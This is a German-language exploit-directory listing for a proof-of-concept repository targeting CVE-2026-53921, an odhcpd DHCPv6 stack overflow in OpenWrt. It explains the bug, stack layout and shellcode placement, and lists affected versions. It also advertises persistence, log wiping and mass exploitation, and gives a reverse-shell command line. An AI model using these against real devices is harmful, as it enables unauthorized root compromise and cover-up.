Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-53921-PoC-Exploit — CVE-2026-53921 – odhcpd Stack Overflow (CVSS 9.8) 🛡️ Detaillierter und umfassender Write-Up sowie Verifier & Multi-Exploit für OpenWrt DHCPv6 RCE. Dual-Vektor (IA_NA/IA_PD) Overflow mit MIPS/ARM-Shellcode, ROP-Ketten, SOCKS5-Proxy, Persistenz, Log-Wiping und Massen-Scanning. Nutze es ethisch, bleib legal. 🔒 | Kitploit
Tools/GitHubGitHub/tc4dy/cve-2026-53921-poc-exploit
Embedded-System-SicherheitAufklärungExploit-FrameworksIoT-SicherheitSchwachstellenanalyseExploitationPost-ExploitationRed TeamingShellcode-Generierung

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →

Über

CVE-2026-53921 – odhcpd Stack Overflow (CVSS 9.8) 🛡️ Detaillierter und umfassender Write-Up sowie Verifier & Multi-Exploit für OpenWrt DHCPv6 RCE. Dual-Vektor (IA_NA/IA_PD) Overflow mit MIPS/ARM-Shellcode, ROP-Ketten, SOCKS5-Proxy, Persistenz, Log-Wiping und Massen-Scanning. Nutze es ethisch, bleib legal. 🔒

Payload-Entwicklung
Binary-Exploitation
GitHubtc4dy/cve-2026-53921-poc-exploit

CVE-2026-53921-PoC-Exploit

Repository anzeigen
6142vor 11 TagenNoch nicht geprüft
Teilen

CVE-2026-53921

CVE-2026-53921 – odhcpd Stack Overflow

CVE CVSS OpenWrt

  • Nur für Bildungszwecke und autorisierte Tests. Unbefugte Nutzung ist illegal.**

Schwachstellenübersicht

CVE-2026-53921 ist ein kritischer Stack-Buffer-Overflow im odhcpd-Daemon von OpenWrt – dem standardmäßigen DHCPv6/DHCPv4/RA-Server.

Funktionsweise

Die Schwachstelle befindet sich im DHCPv6-Nachrichtenverarbeitungscode von odhcpd, genauer gesagt in den Funktionen build_ia() und dhcpv6_ia_handle_IAs().

Technische Detailanalyse

1. Die Grundursache

Der Fehler tritt während der Serialisierung (Packen) von DHCPv6-Reply- Paketen auf. Wenn odhcpd auf Client-Anfragen antwortet, konstruiert es die Antwort in einem Stack-Buffer fester Größe von 512 Bytes ohne ordnungsgemäße Grenzprüfung.

// Simplified representation of the vulnerable code

static void build_ia(struct dhcpv6_ia *ia, uint8_t *buf, size_t *len) {
    // No bounds check before writing
    memcpy(buf + *len, ia->data, ia->length);
    *len += ia->length;
}

2. Auslösen des Overflows

Ein Angreifer sendet eine DHCPv6 Request (oder Solicit) mit:

  • 5 oder mehr IA_NA (Identity Association for Non-temporary Address) Optionen, die jeweils eine IAAddress-Unteroption enthalten.
  • 22 oder mehr IA_PD (Identity Association for Prefix Delegation) Optionen.

Jede Option verbraucht Stack-Speicher, während odhcpd seine Reply aufbaut. Die angesammelten Daten überschreiten 512 Bytes und verursachen den Overflow.

3. Zwei Overflow-Vektoren


Vektor Auslöser Overflow-Punkt


Site 1 5 IA_NA-Optionen build_ia() für IA_NA mit IPv6-Adressen

Site 2 22 IA_PD-Optionen build_ia() für IA_PD

Die Grundursache ist identisch, aber der Overflow tritt in unterschiedlichen Code- Pfaden auf, wodurch beide Vektoren gleichermaßen ausnutzbar sind.

4. Speicherlayout

Stack Layout (simplified):

+-------------------+  <-- High addresses
|    Return Address |  ← Overwritten with attacker-controlled value
+-------------------+
|  Saved Frame Ptr  |
+-------------------+
|  Local Variables  |  ← 512-byte buffer
+-------------------+  <-- Low addresses

Der Angreifer überschreibt die gespeicherte Rücksprungadresse, um sie auf seinen Shellcode im Speicher zeigen zu lassen.

5. Ausnutzungsvoraussetzungen


Voraussetzung Beschreibung


Netzwerkzugriff Angreifer muss über IPv6-Konnektivität zum Ziel verfügen

Authentifizierung Keine -- unauthentifizierter Angriff

Berechtigungen odhcpd läuft als root, daher gewährt RCE vollständige Systemkontrolle

Zieldienst UDP-Port 547 (DHCPv6) muss offen sein

6. Shellcode-Platzierung

In einem echten Exploit wird der Shellcode des Angreifers in den IAAddress- IPv6-Adressfeldern platziert (16 Bytes pro IA_NA). Die präparierten Pakete packen den Shellcode, NOP-Sled und die Rücksprungadresse in diese Felder.

Crafted IA_NA Structure:

+-------------------+
| IA_NA Header      | (12 bytes)
+-------------------+
| IAAddress 1       | ← NOP sled + shellcode
+-------------------+
| IAAddress 2       | ← NOP sled + shellcode
+-------------------+
| IAAddress 3       | ← NOP sled + shellcode
+-------------------+
| IAAddress 4       | ← Return address
+-------------------+
| IAAddress 5       | ← Return address
+-------------------+

7. Auswirkungskette

Crafted DHCPv6 Request
         ↓
odhcpd processes IA_NA/IA_PD options
         ↓
512-byte stack buffer overflows
         ↓
Return address overwritten
         ↓
CPU jumps to shellcode
         ↓
Reverse shell / Bind shell / RCE
         ↓
Full system compromise (root privileges)

8. Angriffsvektoren vs. Mitigationsstatus

Version Status RCE möglich?


odhcpd < e432dd6 Anfällig [+] Ja OpenWrt < 24.10.8 Anfällig [+] Ja OpenWrt < 25.12.5 Anfällig [+] Ja OpenWrt 24.10.8+ Gepatcht [-] Nein OpenWrt 25.12.5+ Gepatcht [-] Nein odhcpd master + e432dd6 Gepatcht [-] Nein

9. Ausnutzung in der Praxis

Diese Schwachstelle ist besonders gefährlich, weil:

  • odhcpd standardmäßig auf OpenWrt-Installationen aktiviert ist.
  • Keine Authentifizierung erforderlich ist---jedes Gerät im selben IPv6-Segment kann angreifen.
  • Der Fehler im Anforderungsverarbeitungspfad liegt.
  • Stack-Canaries und ASLR auf eingebetteten MIPS/ARM- Geräten selten vorhanden sind.
  • Der Exploit in vielen eingebetteten Umgebungen gängige Schutzmaßnahmen umgehen kann.

Betroffene Versionen

KomponenteAnfällige VersionenBehoben in
odhcpd (master branch)vor Commit e432dd6e432dd6 oder später
OpenWrt releases< 24.10.8
< 25.12.5
24.10.8 & 25.12.5

Tools

Dieses Repository stellt zwei unabhängige Skripte bereit:

SkriptZweckExploit-CodeSicherheit
verifier.pyNicht‑intrusiver Schwachstellencheck[-] Nein[+] Sicher
exploit.pyVollständiger weaponisierter Exploit[+] Ja[!] Gefährlich

verifier.py – Schwachstellenprüfer

  • Sendet ein standardmäßiges DHCPv6 Solicit, um zu prüfen, ob der Dienst aktiv ist.
  • Liest HTTP/SSH-Banner, um die OpenWrt-Version zu erkennen.
  • Vergleicht die Version mit dem bekannten anfälligen Bereich.
  • Sendet keine Overflow-Payload oder Shellcode.

exploit.py – Vollständiger Exploit

  • Dual‑Overflow-Vektoren: IA_NA (Site1) und IA_PD (Site2).
  • Automatische Architekturerkennung (MIPS / ARM).
  • MIPS Big‑Endian Reverse- & Bind-Shellcode.
  • Unterstützung für SOCKS5-Proxy.
  • Persistenz (Cron-Backdoor) und Log-Löschung.
  • Threaded Scanning & Massenausnutzung.
  • Optionale Payload-Kodierung (XOR).

Installation

git clone https://github.com/tc4dy/CVE-2026-53921-PoC-Exploit
cd CVE-2026-53921-PoC-Exploit
pip install -r requirements.txt
#Note: Both scripts need root privileges to craft raw IPv6 packets.

Verwendung

Verifier – prüfen, ob ein Ziel anfällig ist

sudo python3 verifier.py -u fe80::1%eth0 -i eth0

Exploit – eine Reverse Shell erhalten (nicht für illegale Aktivitäten verwenden, nur für autorisierte Tests)

sudo python3 exploit.py -u fe80::1%eth0 -i eth0 --lhost 192.168.1.100 --lport 4444

Kommandozeilenoptionen

verifier.py

ArgumentBeschreibung
-u, --targetZiel-IPv6-Adresse (erforderlich)
-i, --ifaceNetzwerkschnittstelle (Standard: eth0)

exploit.py

Tool herunterladen